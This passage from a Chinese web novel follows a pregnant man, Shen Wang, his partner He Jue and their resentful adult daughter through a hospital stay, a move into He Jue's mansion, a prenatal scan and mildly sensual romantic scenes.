沈望摸了摸鼻子,原来他的脸上挂着吸氧装置,人还眩晕得不像话,已经张嘴喊着,“妙妙,妙妙” 鹤爵一把握住他的手,不让他随便拨开吸氧装置,小声解释,“你是最近休息不好,怀孕了还疲于奔波,营养也没好好跟上。” 沈望摇摇头。 鹤爵道,“女儿很好,她并没有情绪激动,现在人在外面,我去把人叫进来。” 沈望点点头,又说,“都怪你。” 鹤爵帮他掩了掩被子,“是,全部是我的错,妙妙不喜欢我是正确的,无论多少年,我会弥补。” “可是,我们不能永远隐瞒孩子,我们隐瞒地越久,对孩子来讲才是一种残忍。” “这个坏人彻底由我来做,你不用担心。” 鹤爵摸摸他的脸,又轻柔地抚摸了一下沈望的腹部,叫他再睡一会儿,等营养输完他们就一起回家。 鹤爵安顿好沈望,转身出门去找沈妙妙。 沈妙妙刚和徐美珊了解完沈望的情况,一张小脸带着几分愠怒与冷然,等着事情的正主显身。 真是说曹操曹操到。 鹤爵伸手抓乱了头顶的发丝,又微微整理了一下,走到沈妙妙面前道,“你爸爸没什么大碍,不用太担心。” 沈妙妙啧了一声。 之前还伪装成乖乖女,跟鹤爵有来有回地打了几轮太极,现在纸窗户已经被捅破了,也没有必要再伪装自己。 对,就是那种纯天然的厌恶情绪。 沈妙妙双手环在胸口,一副高高在上的质问语气。 “你是不是没有生理常识?” 嗯? 鹤爵明显感到对方的冒犯,不过是自己的女儿,暂且忍耐一下,现在的家庭情况正处于分崩离析,需要更多的爱和耐心来修修补补。 他活真么多年,爱好像并没有很多的样子。 沈妙妙越想越生气,可是越生气才越容易令人感到冷静。 “你跟爸爸做那种事,完全不戴措施的吗?” 难以理解这些脑残的男人,当然绝对不包括他爸爸。 “你是不是故意的?”沈妙妙问,“你是不是知道爸爸能生孩子,故意弄个牵绊出来,套住他?” “真卑鄙啊。” 鹤爵打断道,“我并不知道沈望能生。” 而且,让亲生女儿来讨论两个老父亲为爱鼓掌,是不是很不妥帖? 沈妙妙闻言更是难以置信极了,“你怎么可能不知道呢?这种事情很显而易见吧?动动脚趾也能想清楚,好吗?” 第55章 二宝在肚子里盯着呢 鹤爵还真是被气笑了, 倒是没有跟沈妙妙生气的念头,只是颇为讨嫌地回了一句。 “我若是前些年感受到你爸爸能生的话,现在的你,早就被我训练成一只真正温顺的淑女猫了。” 啊?猫??! 沈妙妙才是真心要翻脸了, 面前这位是什么品种的老不羞?!居然还觉得, 有朝一日能用父亲的名义压制自己一头? 他配吗? 沈妙妙冷冷地笑了声, “恐怕你还真不好有这样的机会,鹤先生。” 鹤爵亦冷然地颔首示意, “我一向喜欢迎接挑战, 沈小姐。” 哼。 俩人的目光兵刃相接之后, 沈妙妙突然跑了起来, 等鹤爵有所反应的前一秒,小姑娘快如闪电, 滋溜钻进病房, 反手锁了门。 沈望被关门声惊醒, 眨巴眼朝向女儿,忽然有点成年人难得的害羞,但也因为女儿的救赎,感到无比的幸福。 人真是一种充满各种矛盾的复杂体。 沈妙妙先去看了眼他手背间的输液器, 谨防针头从皮肉间穿刺, 而后问爸爸还感觉头晕吗? 沈望羞愧的点委实太多, 例如到了他这个岁数的人,极少数还会有生育的想法;例如他一个六尺男人居然还能生育。 还例如:他去京城是提防女儿被渣男骗身骗心骗怀孕的, 结果恰恰相反,是他被鹤爵给弄怀了, 还灰溜溜地滚回来。 沈望:“” 沈望偷偷摸了一下腹部,有点犹豫道, “其实我跟鹤爵之间并不是你想的那样我们两个纯属意外” “假如宝贝介意的话这个孩子可以” “可以什么?”沈妙妙在鹤爵面前趾高气扬,反倒在沈望面前心平气和,两张面孔切换自然。 “你们打算当作没有这回事?没拥有过肚子里的宝宝?在我不知道的时候,背着我偷偷把这孩子处理掉?” “不是处理。”沈望咬了咬嘴唇。 沈妙妙道,“肯定全部都是姓鹤的提出的坏主意!我当初第一眼看他就不像是个善类。” 坐在病床一侧,用手抚摸着沈望苍白的面颊,“爸爸,你知道流产对身体其实也会有损伤的吧?” “既然怀了,那就生吧。”沈妙妙换成释然的微笑,“我和爸爸可以一起努力抚养它长大,无论是弟弟或者妹妹,但凡是爸爸生的,我都超级喜欢。” “而且,我想,只要是爸爸的孩子,都是这个世界上最幸福的小天使,虽然我一个人很幸福,但是多一个人,我们会一起分享幸福,也会一起来爱你的。” 不知怎么的,沈望感觉自己再一次被女儿救赎,他虽然总在强调自己是一个宠女狂魔,但更多时候,女儿也在反过来宠他。 病房的门适时被敲响,传来护士的柔软细语,“您好,我来给病人测量一下.体温。” 想也知道是怎么回事。 沈妙妙打开门,护士的前面站着纹丝不乱的鹤爵,有外人在场,沈妙妙肯定不会乱讲话的。 俩人又是一阵目光对射,火光电石。 护士替沈望拔掉手背的针头,鹤爵上前帮他摁住,避免针孔回血。 沈望说,“没关系,这种小事,我自己就好。” 鹤爵道,“刚说了,你最近操劳太多。” 沈望:“摁个棉签而已,不算累啊。” 沈妙妙:疯狂翻白眼。 鹤爵驾车给父女俩人送回家去,沿路上鹤爵一个人坐在主驾驶,父女俩有说有笑地坐在后排。 很难融入感+1 沈妙妙像是故意要找他的不痛快,微笑道,“我和爸爸决定,要一起抚养肚子里的宝宝。” 鹤爵闭嘴不接。 沈妙妙继续说,“可是我现在仍然处于上学阶段,没有很多时间悉心照顾爸爸,而且他这种身体情况要生出健康的宝宝,除了营养跟上,医疗也必须要跟上,这样我才能放心。” 是,沈总 不对!! 这一切与鹤爵的担心决然不同。 鹤爵以为的沈妙妙:知道自己是亲爹,发疯大叫!知道俩爹又造出来一个新生命,疯狂咆哮,知道俩爹经历十八年岁月沧桑,依旧死灰复燃,重浴爱火,势必摧毁一切,做断情绝爱的覆灭圣手。 实际上的沈妙:冷静、从容。 甚至隐隐中有点憋着大招之后前,先算计你几把的小狡黠。 但是女儿也在看见沈望住院的情况下,聪明地做出了退让。 当然,只针对沈望。 沈妙妙道,“我决定和鹤先生轮流照顾爸爸。” 都已经开始下决定了吗? “我正好放暑假,先照顾爸爸一个月,等我回京大的期间,就劳烦鹤先生操心。” “我算了下日子,寒假之后,爸爸临产差不多是二月,我们一家三口的生日居然都在春天,真是不错。” 一家三口里肯定是没有计算鹤爵的。 鹤爵简直被某些小聪明的算盘精到了,他这辈子做生意的唯一准则便是,没有绝对的敌人,只有永恒的利益。 小姑娘为什么没有去学金融,简直屈才。 鹤爵想了想,便真得问道,“沈小姐学习成绩一向名列前茅,有兴趣到国外留学吗?” 他居然如此着急得打算除掉我? 沈妙妙双手环在胸口,“先不说这个,我爸爸原本计划不再做鱼店的生意,准备开一家饭店的,现在计划全毁了,你应该感到自责。” 鹤爵掀起眼帘看了一眼沈望,沈望夹在两人之间的明争暗斗中,显得颇为无奈。 但不难过。 足以见得妙妙这孩子确实懂事,凡事都先以沈望的心情为主,他作为沈望的爱人,这一点上完全被女儿比了下去。 深刻检讨一秒钟。 鹤爵道,“你爸爸是自由的,如果他希望我能在事业上对他有所帮助,我会极力做到最好。” 沈望终于找到了讲话的机会,赶紧插嘴道,“我有手,不需要你帮忙。” 鹤爵将两人载到家门口,沈妙妙下车做的第一件事就是阻挡住对方下车,并提出要求道。 “之前已经说定了,爸爸在暑假期间由我照顾,鹤先生这段时间应该也被叨扰很久,快点回京城吧,这边就恕不送客了。” 鹤爵:“赶我走?” 沈妙妙挥挥手道,“一个月后,我会将爸爸亲自送到鹤公馆。” 鹤爵思索了片刻,“那我想跟你爸爸道个别,沈小姐不可能连这种小事都不同意吧?” 沈妙妙啧了一声,转身走了,留下两人的独处空间,不过鹤爵耳朵灵敏,似乎听见某人偷偷给他下了定义。 黏黏糊糊。 鹤爵头顶起被亲生骨肉嫌弃的名头,稍微抱了抱沈望,禁不住许久没有认真汲取对方体香的念想,又将头部掩埋进对方的脖颈。 “之前的打全白挨了。” 沈望想起自己抡起笤帚打他,下手确实怪重的,怀着担心问,“你的胳膊怎么样?”其实早晨一见面就打算问来着,怎么昨晚上还吊着绷带,今天早晨连绷带瞬间拆掉了? 鹤爵道,“你女儿太厉害了,我怕一条胳膊拧不过她。” 其实浑身疼得要命,从梯子上跌下来时还闪到了老腰,不过沈望突然晕厥的时候,他就彻底忘记全部伤痛。 现在女儿嫌弃他,用好听的话逼他快走,鹤爵又不能不同意。 沈妙妙这小棉袄只负责给沈望保暖。 沈望其实也摸不透女儿内心究竟是什么打算,不过他从小便像是一只小狗,只要能咬住尾巴尖那一点点的幸福,完全能快乐地度过一天。 四舍五入,沈妙妙算是勉强接受了鹤爵的存在吧。 不然还能怎么样? 难道要搞得妙飞鹤跳不成? “总之,女儿不算太排斥你。”沈望也实在找不到更好的解释,“肚子里的宝宝也应该很开心。” 他抓住了鹤爵的手,放在自己的腹部,两只手掌锲合地叠加在一起,积蓄了全部的热量。 鹤爵凝视他的一举一动。 沈望道,“我想生这个孩子,不仅是因为妙妙的原谅,也不仅是因为你,我想多给自己创造一个家人。” 他的眼睛亮晶晶的,以至于鹤爵再不忍心说任何忤逆他的话,微微点头道,“好,我在九月的京城等你。” 沈妙妙进屋后,早将这一切尽收眼底,单手紧紧攥住窗帘的一角,内心积攒的恼怒全部发泄在手中的布料上。 朝向那个抱着爸爸的不要脸的家伙,隔空挑衅道,“等我顺利毕业了有你好看!” 沈望第二天起床,沈妙妙已经将香喷喷的粥饼出锅,摆在漂亮的瓷盘中,还给爸爸专门温好牛奶。 沈望大喜过望,又忍不住建议说,“不用太照顾我,你每天早晨起来不是还要学习吗?我自己弄早点就好。” 话是如此,沈望还是高高兴兴地跟女儿享用了一顿丰盛的早点。 沈望说,“午饭你就不要管了,咱们中午下馆子,把你朱叔叔和宋叔叔都请上。” 沈妙妙说,“行,今早我陪你一起去鱼店帮忙。” 沈望其实挺不想让她去的,鱼店又不是什么好地方,脏兮兮乱糟糟的,生意忙起来连个坐的时间都没有。 可是,这就是他和沈妙妙赖以生存的环境啊。 他还记得自己刚开始杀鱼,沈妙妙被他放在一旁垫了垫子的圆桶里,沈望一边要笑着接受各种顾客地挑剔,还要照料桶里的妙妙,眼睛一点也离不开女儿,担心孩子被人给抱跑了。 后来妙妙再大一点,沈望就给她买一双小雨鞋,让她在充满腥臭环境的鱼店里帮点力所能及的小忙。 沈妙妙长得水灵可爱,甚至帮沈望招揽不少生意,也出主意赶走不少故意找茬的客人。 沈妙妙从小闻惯了沈望的香味,同样也浸润了不少腥臭的血腥味。 沈望和沈妙妙两人一并走到大广福菜市场,沈望停驻在市场门口,忽然不走了。 沈妙妙问,“爸爸怎么了,很不舒服吗?” 她上网专门查过怀孕的资料,像爸爸这种怀孕初期的人,再加上频繁的孕吐,生活作息的混乱,情绪难以自控,需要耐心引导。 沈望说,“总感觉自己像做了一场极其漫长的梦。” 这梦又黑又长、又可怜又无助、又臭又辛苦。 不过他转身摸了摸女儿的头,沈妙妙的发质极好,乌黑油润,被晨光抚照时会漫散出一层金光。 我的救赎,我的希望,我的前半生。 沈妙妙被爸爸突然摸了头,心情挺开心的,抱住沈望的手臂道,“快进去吧。” 正说着,好兄弟龅牙朱和宋思聪喜滋滋地出来寻找他。 龅牙朱看见沈妙妙时眼前一亮,大喊道,“妙妙宝贝,什么时候回来的?大城市就是养人啊,怎么变得更漂亮啦!” 沈妙妙甜甜叫他一声,“朱叔叔,宋叔叔。” 听得两个老兄弟心情大好。 宋思聪挺担心沈望的,“你最近怎么了?是不是哪里不舒服,鱼店一阵子开门一阵子关门,再好的生意也会被搞臭。” 沈望不好意思说,“最近身体不太舒服,准备再干一个月,想再休息一段时间。” 两个兄弟立刻问他究竟哪里不舒服,沈妙妙帮着爸爸打圆场,“其实主要是我一个人在京城上学,爸爸总牵挂我,心里担心的事情太多了,打算暂时关了店之后,去京城陪陪我。” “嗯。”龅牙朱仿佛能理解这种幼稚的做法,“确实像你爸爸这种女儿奴能做出来的事情。” 沈望瞬间红了脸,一方面也是因为愧疚,向最好的兄弟撒谎。 可是再过两个月,他的肚子就藏不住了,到时候好兄弟会更担心,以为他是不是肚子里长出了瘤子。 宋思聪终究是要稳重一点,言道,“反正你也早计划要开饭店,趁早把铺子盘出去也不错。” 突然想起什么重要的事,“对了,你现在往出盘店正是很好的机会。” “就在昨天,听说有位大老板把大广福给收购了,而且要把房租降到了全城最低,差不多就是这两天的事情,现在已经有人挤破头想进市场租店面了。” 什么?房租要减到全城最低?这不是赔本吗? 沈望还没转过弯来,沈妙妙已经明白是谁做的好事。 可是她偏不说,哼。 九月说到及到。 沈妙妙不禁惆怅地凝视日历,淡淡地忧伤着,“开学恐怕是每一个学生难以承受的噩梦吧?” 沈望笑着拧了她的耳朵尖,“难道学霸也会有不想上学的时候?” “主要是不想把爸爸交出去嘛!” 沈妙妙坐飞机的时候还挺开心的,不过两人一下飞机,接机口远远地就看见某个焦急的身影时。 公主的微笑消失了。 鹤爵不顾形象,一把将沈望搂进怀里,其实如果女儿没有死死瞪着他的话,鹤爵也想展臂抱住女儿。 一个月不见,沈望似乎微微地圆润了一点,看来跟女儿独自相处就是不一样,连呕吐的次数也在减少。 鹤爵问怀里的人,“什么东西在顶住我?” 沈望禁不住面红耳赤,小声说,“是肚子啦。” 鹤爵想摸一把,被沈妙妙一把擎住手腕,淡淡警告道,“公众场合,鹤先生是不是应该注意一下形象?” 咳咳咳。 鹤爵说,“我们先回家吧,一切我都安排好了。” 沈妙妙自然而然地挽住爸爸的手臂,将亲昵地两人隔开,并且稍微领先鹤爵一点。 鹤爵早已将小姑娘的小心思看透。 不,应该说,沈妙妙的小计划,鹤爵忽然之间明白。 怪不得女儿偏偏要独自照顾沈望一个多月的时间。 鹤爵隐隐感受了一下沈望顶出来的肚子幅度。 沈妙妙是担心鹤爵趁爸爸还没有显怀,还能继续做点什么可耻的事情。 现在完全没机会做啦?有二宝盯着呢。 一想到小孩子终究是小孩子,何况跟萧诼也没怎么谈过恋爱,终究是稚嫩着呢。 她怎么可能真的懂男人? 第56章 你也不要太爱他啦 全京城鼎鼎大名的爵爷继续充当司机的角色, 为了家庭未来的和谐,暂时牺牲自我,感天动地。 鹤公馆四周新添置了不少花草树木,将北面的小花园改造成小桥流水的造景, 路面重新铺了一遍, 保证洁净与整洁。 沈妙妙跟沈望下车, 重新打量了一遍鹤爵的宅邸,上次来时光线昏暗, 看得不是很清晰, 这次倒是感觉蛮震撼的, 有钱人家果真财大气粗, 并不是从建筑方面体现的壮观,而是从细枝末微处透出来的精致。 以小见大。 还有一位站在庭院中迎接他们的和蔼老先生, 正悄悄地抹眼泪。 沈望担忧地问, “赵管家这是怎么了?你是不是乱骂人了?” “冤枉, 我从不骂人,只会开除人。”鹤爵抓住他的手轻声安抚,“只是真情流露而已。” 赵管家远远看着这和谐的一家三口,尤其是沈妙妙的模样, 简直就是自家少爷的翻版。 人的视觉也是一种很奇妙的存在, 若是认定了两个事物之间的联系, 便会越看越像。 上次沈妙妙跟学校辅导员进门,赵管家只是依稀觉得眼熟, 但不敢多想,避免给少爷引来误会。 这下好了。 赵管家得知少爷居然已经有了这么聪明漂亮的女儿, 而且还有第二条新生命等待降生。 除了喜极而泣,完全无法诠释他此刻的反常举动。 沈望说, “那就不要过去了,免得他尴尬。” “不过去他才会生气。”鹤爵拉着沈望走向赵管家,赵管家连忙换成排练好的微笑,言道,“沈先生的房间早已经准备好了。” “还有我们的小小姐。” 沈妙妙完全不想承认自己是鹤爵的孩子,不过她还是很有礼貌地叫了声,“谢谢赵爷爷。” 赵管家愈发绷不住眼泪了。 沈望不好意思地抱了他一下,靠近赵管家的耳畔,轻声抱歉,“以后还请您多多关照。” 沈妙妙开始细致地打量这栋三层的小别墅,总感觉内部装修换了一下风格,低调简奢的家具装饰都换成了沈望会喜欢的模样,突出了房屋的生活化,有棱角的一律换成圆角。 鹤爵先领着两人看了婴儿房,距离沈望的房间一墙之隔,内部采用柔和的橘黄色,无论是男宝女宝都很合适。 鹤爵道,“婴儿用品、床具全部等你们来,让你们俩挑选,我这边只是先装修的屋里,都是采用环保材料,平常多通风晾晒,明年二月份宝宝就能安心入住。” 鹤爵又领着人去看沈望对面的房间,面积直接大出四五倍,有学习空间,还有每个女孩子都超级喜欢的奢华衣帽间,床具是公主床,铺垫得都是鹅绒,松软得像是云彩。 不用讲,这房间应该属于谁。 沈妙妙努努嘴,“我住校。” 鹤爵道,“也不能永远住校。” 沈妙妙道,“我准备自己攒钱买一套新房。” 鹤爵道,“人永远不会嫌弃房子多,是吧?” 沈望也不敢怂恿女儿进去瞧瞧,只能转移话题说,“今天机会难得,我亲自下厨给所有人做一顿好吃的。” 鹤爵这辈子还没尝过他的手艺呢,即使不忍心让沈小望做家务,假装配合道,“我也去帮忙。” 俩人这一次倒是很有默契,跑得飞快。 沈妙妙看了眼二层的所有房间,心里肯定是满意的,毕竟全京城也只有鹤爵能给爸爸,以及未来的宝宝提供这种等级的生活条件。 沈妙妙心中小声发誓,先委屈爸爸和宝宝在这里住着,等她毕业找到工作,立刻能把俩人救出去。 沈妙妙才不稀罕看某人给他堆砌的金屋,慢悠悠转了一圈,发现鹤爵的书房门正大敞着,窗户外吹来了一阵秋风,将书桌间的东西吹乱了。 沈妙妙主动过去将窗户关上,避免初秋的凉风把书桌整个掀乱,又将翻开的部分收拾一下。 她并没有偷窥别人物品的习惯,眼神扫量地很快,收拾完就离开,走了两三步,发现地面落着一张纸。 一般她是不会随便乱看的,可是这张纸上密密麻麻的字迹,完全出自于沈望之手。 沈望的字迹简直太好认了,因为很丑。 哈哈哈。 沈妙妙小时候请爸爸在考试卷上签名,沈望每次签完,老师都会提醒沈妙妙,小孩子不要自己签字,而且你还拿了满分呀!? 认出爸爸的字,沈妙妙下意识多看了几眼,上面写着: 乐康LTZ——余朗文——余疏影 华旗银行——罗梓晨——罗兮玉 光伏制药公司——王文浩——王婷婷 隆泰电网有限公司——鹏宇——鹏美嘉 看起来完全属于华国最富有的那拨人,和家里的千金小姐。 沈妙妙将纸条重新摆回桌面,显得心思深沉。 难道说,这纸上的女生全部是大型后宫选秀名单? 鹤爵? 或有可能,毕竟鹤爵已经三十好几的老男人了,皇帝不急太监急的,鹤家怎么也得给他挑好一群来选。 沈妙妙顿时觉着这些女生好不幸,从小生活在富贵人家,到头来还是要被更有钱的挑剔。 “所以只有做人上人,才能更好地掌控命运。”沈妙妙清亮的眼神中透出一股从未有过的犀利感。 “我的命运必须得靠我自己说了算。” 下楼去找那两人,结果发现两人根本没有做饭,厨房里热辣滚滚,比同时开了十几个天然灶炉还火热。 沈望被抱在中岛台坐着,两条腿都不知该往哪里摆,只见拖鞋挂在足尖摇摇欲坠,一只早不知掉到哪里去了。 鹤爵忘情地攻占他的嘴唇,两人弄出的水声十分黏腻浓稠,彼此的气息仿佛都化作流淌的液态,击打出甜丝丝的波纹。 沈望说,“不要再亲了,女儿要下楼了。” 鹤爵道,“我们是合情合理的。” 沈望笑了笑,“可我们不是合法的。” 鹤爵道,“现在还有点时间,民政局还没关门。” 沈望抱住他的背脊,用莹润的下颌戳他的胸肌,面颊粉嫩泛红,一双秋水剪瞳泛起柔情蜜意,被高大的男人控制在无处翻身的空间内,弱小且无助。 鹤爵还要吻他,轻轻啄着沈望的唇珠。 沈妙妙佯装没看见,重新走到楼梯口,朝门外喊着,“请问厨房怎么走,房子好大,我好像有点迷路了。” 鹤爵快速将衬衫拢进西装裤,微微抚平了褶皱,还将沈望的衣服纽扣系好,遮掩住一连串的吻痕。 自欺欺人做完遮掩活动,鹤爵忽然笑了起来,淡道,“没关系,小姑娘不进来的,你不要慌张。” 沈望怎么能不慌张,他最好不意思在女儿面前丢脸,尤其是像个娇妻一样被鹤爵弄得头晕目眩。 鹤爵说,“你的体香,估计妙妙早已经闻到了。刚刚应该很浓烈。” 女儿只是在提出抗议。 沈望发觉沈妙妙说完这句话,确实没有走进来的意思,而是转身去了花园。 不由放松口气,拉起鹤爵的手腕狠狠咬了一口。 鹤爵像是不知疼痛为何物,叮嘱他,“你慢点咬,女儿走了之后,让你狠狠咬。” 晚餐吃得很丰富,沈望在厨房里狠狠操作了一把 咳咳咳。 赵管家也被邀请上了餐桌,几个人难得地围坐在一起,鹤爵还将酒窖中珍藏品取出来两瓶。 沈妙妙用筷子夹起一片新鲜翠绿的笋片,观察了两眼,又放在鼻子间详细地闻了一下,挑眉看向鹤爵,“这菜里没有什么乱七八糟的东西吧?” 鹤爵微微藏起了贴满OK绷的右手,言道,“你爸爸亲自掌得勺,很好吃的。” 说着还示范性自己尝了一口菜,脸上流露出非同凡响的表情。 毕竟是第一次尝到老婆做的菜,好吃。 沈望道,“放心吧,他只负责切菜,我负责烹饪,味道很好的。” 说着自己也尝了一口,下一秒抽出餐巾纸,连忙吐在纸巾上扔掉。 鹤爵以为他要孕吐,过来帮他递水。 沈望借机跟他咬耳朵,“不是叫你放一勺盐吗?你为什么放糖?” 糖吗? 鹤爵道,“我可能拿错了。” 沈妙妙露出一脸的了然,将笋片包进餐巾纸再悄无声息地丢掉。 鹤爵道,“没关系,我没有味觉,这菜我自己吃。” 而后,将甜到要命的清炒笋片拨进自己碗中。 晚上七点的时候,私人医院的张院长带着产科专家,专程来替沈望做产检。 沈望问鹤爵,“你要不要顺便测个血糖?” 鹤爵笑说,“我的肾功能很好,谢谢。” 又说,“这下子,你就不用专门穿女装去做产检了,我还有点怪想念的。” “想念什么?”沈望换成方便穿脱的家居服,一脸迷茫地看向某人。 “你穿裙子的迷人样子。”鹤爵道,“妙妙那屋子里全部是进口高定女装。” 沈望立刻啐他,“你敢?我跟你拼命!” 沈望躺在B超仪之下,全家人都围过来看显示屏间的状况。 妇科专家指了一下黑黢黢的屏幕中央,一边详细讲解着,“这是头部,这是腿,这是手。” 胎儿发育得非常棒,能看见脊背处的小脊柱整齐得排列成一条清晰的线段。 沈妙妙道,“我家二宝终于不再是小黄豆芽了嘛,看起来跟我长得还蛮像的。” 鹤爵握住沈望的手,这也是他第一次直观地看到新生命的变化过程,内心充斥着无限敬畏与感动。 想当初他还建议打掉孩子,这件事绝对不能再提,让它沉下去变成秘密。 家里已经有一个女儿讨厌他了,假如再来一个,鹤爵可承受不起啦。 检查结束,沈妙妙扶沈望去花园转一圈散步。 张院长终于逮到机会,朝鹤爵表明了态度,“三少爷那边我完全没有走漏一点风声,尤其沈先生现在怀孕的情况,来得所有人更是签署了保密协议。” 三少爷就是鹤爵的三哥——鹤慈,这间私人医院是鹤慈开的,鹤爵也入了点股。 “三少爷还是很关心您哪,爵爷,他知道错了,每天都在懊悔中度过。” 三哥知道个屁。 鹤爵道,“好,我知道了。” 医院的一行人走了,沈妙妙不愿在鹤公馆住,执意要回宿舍休息。 沈望送她出门口,担心宿舍经过一个假期该落不少灰。 沈妙妙笑说,“放心吧,夏璇已经帮我收拾干净了。” 又道,“我每隔一段时间都会来看你跟二宝,你们在这边好好吃鹤爵的,不用跟他客气。” 沈望听见女儿直呼鹤爵大名,不禁担心这两人的关系更上一层霜。 沈妙妙突然抱住沈望,有点委屈道,“爸爸,你也不要太爱他了啊。” 多心疼心疼自己,好好吃饭,好好睡觉,不要再流泪,也不要再晕倒了。 沈望理解错了意思,也抱住女儿宽慰道,“宝贝,我最爱你。” 第57章 第二只小猫 沈妙妙前脚刚走不到半小时, 鹤爵示意家里的佣人们可以先去休息了。 沈望回来之前,家里的佣人全部签了保密条约,不过一多半的人转移去打理鹤爵的其他房产,留下的人并不是很多, 保持在可控范围之内。 赵管家领着人一走, 鹤爵便缠过来问, “今晚打算怎么睡?” 什么怎么睡? 沈望打算找一件事情,来转移对方的注意力, 发现餐桌早已经被佣人收拾干净, 地面清理得光可鉴人, 屋子内纤尘不染, 最可恨得连盆栽的水都浇了。 只好说,“鹤爵, 你的佛珠呢?怎么好久不见你拿着它?” 你有空也多念念清心咒啊~ 鹤爵哦了一声, 直接抱起沈望说, “你打算先跟我洗澡,然后再一起睡,Good Choice 。” 唔。 沈望喊道,“你说的每一个字都跟我讲的不一样!” 那就不用多说了。 鹤爵给人放进浴缸中央, 自己也大步迈了进去, 单手随便一挑加水器, 俯身跟沈望吻作一团。 沈望逐渐感觉自己被温热的水流冲刷着身体,从脚趾到腰肌, 再到因紧张而弓起的蝴蝶骨,而后是高高扬起的脖颈。 水位线越来越高, 将他整个人托浮而起。 沈望轻颤着说,“鹤爵, 你把衣服也脱掉吧。” 对方回应,“遵命。” 鹤爵搂住蜷缩在身边的沈望,两人一起沉淀在满溢着泡沫的浴缸中,入水口一直源源不断地注入温水,适宜的温度和宽阔的怀抱,弄得人心里麻麻痒痒的。 沈望用手指小心地划拨着鹤爵胸口的旧伤伤痕。 他之前怕极了这些创伤,如今只想更多地帮鹤爵抚平它们。 沈望的五官明艳绝丽,嘴唇因为过度的接吻微微泛着点肿,头发湿漉漉地沾在面颊两侧,仿佛刚从海中浮出的海妖,一点点地撩拨着成熟男性那点岌岌可危的自制力。 鹤爵问,“跟妙妙在家的时候,每天怎么洗澡?” 沈望懒洋洋地伸直了腿,“广城那边的天气闷热,每天稍微动一下就会出汗,随便站在淋浴器下冲一阵就可以了。” 他正狐疑鹤爵为什么问这些小事。 鹤爵已经逐渐露出狼尾巴道,“那老公给你今天好好做个全面清理。”说着,嘴巴沿着沈望的脖颈不停地摩擦起来。 沈望只得双手紧紧攀附在他的肩膀,避免自己坐不稳,滑进浴缸里去呛水。 说来好笑,沈望的出生地是北方,属于天生的旱鸭子,即使后来辗转到了广城做生意,也没有时间去学习游泳。 人天生对水是充满敬畏之心的。 鹤爵这么明目张胆地欺负他,只能用自己的手来寻找平衡,转而伸出右手,紧紧抠住浴缸边沿,泛起粉的甲片不停在陶瓷间打滑。 鹤爵拨了拨他的心口,盯着沾了白色泡沫的红尖儿,问他,“这里每天不好好做清洁的话,将来二宝也会嫌弃的吧?” 沈望小声说着,我不能喂小孩子的,我没有。 其实他是撒谎,沈妙妙是吃什么长大的,他心里最清楚不过。 鹤爵认认真真地清理了很久,临了还故意咬住沈望滴血的耳畔说,“我的味觉好像有点恢复了。” “怎么是甜丝丝的感觉?” “不行,我再体会一下。” 沈望被他从水里裹住抱出来,已经是一个多小时后的事情。 鹤爵吩咐佣人提前铺了鹅绒垫子,沈望酥软的四肢百骸刚放上去,便沉甸甸地在云朵中央进去,显出一抹妖娆的身影。 鹤爵也爬过来,抱住他微微突出的腹部亲了一口,将嘴唇贴近雪白的皮肤,讲了一句,“里面的小宝宝,想不想现在立刻跟爸爸见个面?” 沈望简直怕了他,颤抖着手臂将人勾了过来,朝一脸坏笑的某人软道,“你正经一点,注意宝宝现在是有听觉的,你不要把它带坏了。” “那不可能,我很小心的。” 鹤爵说着又亲了一口沈望的肚皮,下一秒两人如同两条滑溜溜的白蛇一般,彼此交缠到难以分离的程度。 鹤爵刚准备要跟小宝宝亲密接触,沈望的腹部中央,忽然鼓起来一个圆溜溜的小凸起。 沈望提高音量叫道,“你不要乱动!” 鹤爵立刻举起双手,“不是我,是二宝。” 沈望连忙微微侧了身,鼓起的腹部间那一个小圆包忽然移动了起来,如同鱼叼莲花转眼消失不见。 猛地,又在沈望的肚子里跳了跳,这次是很明显的胎动,绝对不是双眸产生的错觉。 沈望立刻想起沈妙妙的胎动也差不多是在同样的月份,胎动早通常是一个好兆头,表明胎儿在子.宫内的发育情况可能较好。 沈望也总从老人嘴里听说,怀女孩儿的话胎动就是要早一点,因为女孩天生灵巧。 沈望用柔软地手摸了摸二宝,像是抚平二宝的不高兴,轻声道,“不要气你爸爸,他只是太想早点看见你啦。” 二宝仿佛能听懂他的话,又乖乖去睡觉,再不跳来跳去了。 沈望将手转向鹤爵,也摸了摸他道,“你也乖乖忍一下,生完二宝再好好喂你,嗯?” 鹤爵趴在他怀里,有点不开心说,“现在这个家,只有老婆肯和我好。” 沈望噗嗤笑了,“孩子们会跟你熟悉起来的,就像你自己不也才做了几天爸爸,怎么可能一下子能做得跟我一样好?” 鹤爵同样笑了,“只有这一点我完全比不上你,拍马不及,好气呀。” 第二天鹤爵从外面搬运回来一个崭新的木质婴儿床,全程由他亲自搬运,完全没有借用他人之手。 沈望还挺奇怪的,“不是讲要让我和妙妙去选婴儿用品吗?” 鹤爵的理由是,“据说这个婴儿床是特殊木材磨制的纯手工品,散发天然香气,小宝宝睡在里面特别安心,像是睡在妈妈的肚子里一样,晚上不会起夜闹脾气,这样你也能睡个好觉。” 当然,价位也十分昂贵,木材据说是南太平洋岛的特殊树种,颇受当地土著岛民的青睐。 沈望觉得他是乱花钱,即使如此,他还是帮着鹤爵将婴儿床组装出来,小小的一张,造价就要十几万软妹币。 沈望:“其实你根本不用买这么好的婴儿床,小孩子长得特别快,一眨眼的功夫而已,就要换成更大的床睡觉了。” 鹤爵却觉得物有所值。 沈望又说,“其实我的体香很能安抚小宝宝的,妙妙小时候从不闹觉,我每天干活很累的,可是只要抱着她睡,妙妙总是能睡得很香甜。” 鹤爵说,“难怪你抱着我睡觉的时候,我也睡得很香甜。” 沈望:“你要是一直跟孩子们争宠的话,恐怕很难得到孩子们的信任。” 鹤爵道,“那我只要老婆。” 到了周日,沈妙妙抽空过来探望沈望,鹤爵这边已经备好了车子,说一起去寺庙里替二宝求个好名字。 其实是借口带两人出门兜风,培养亲子间缺失的感情。 沈望趁沈妙妙不注意,故意凑到鹤爵身边挑衅他问,“不是说只想要我一个人的吗?” 鹤爵在他屁股上拍了一把,意外手感不错,“成年人才不做选择,肯定是全要了!” 赵管家负责开车,沈望则坐在后排中间,被鹤爵与沈妙妙夹住,跟女儿聊十几句,还得再应付鹤爵几句。 鹤爵倒是没怎么抢着说话,他安静地听沈妙妙讲学校的事,小时候的事情,一点一滴地积累着与女儿错过的点滴。 沈妙妙道,“我开学是大三,明年则需要到公司实习,辅导员已经帮我联系了四五家外企公司,我觉得还需要慎重考虑一下。” 鹤爵轻咳一声,“经纬是一家不错的公司,可以考虑一下。” 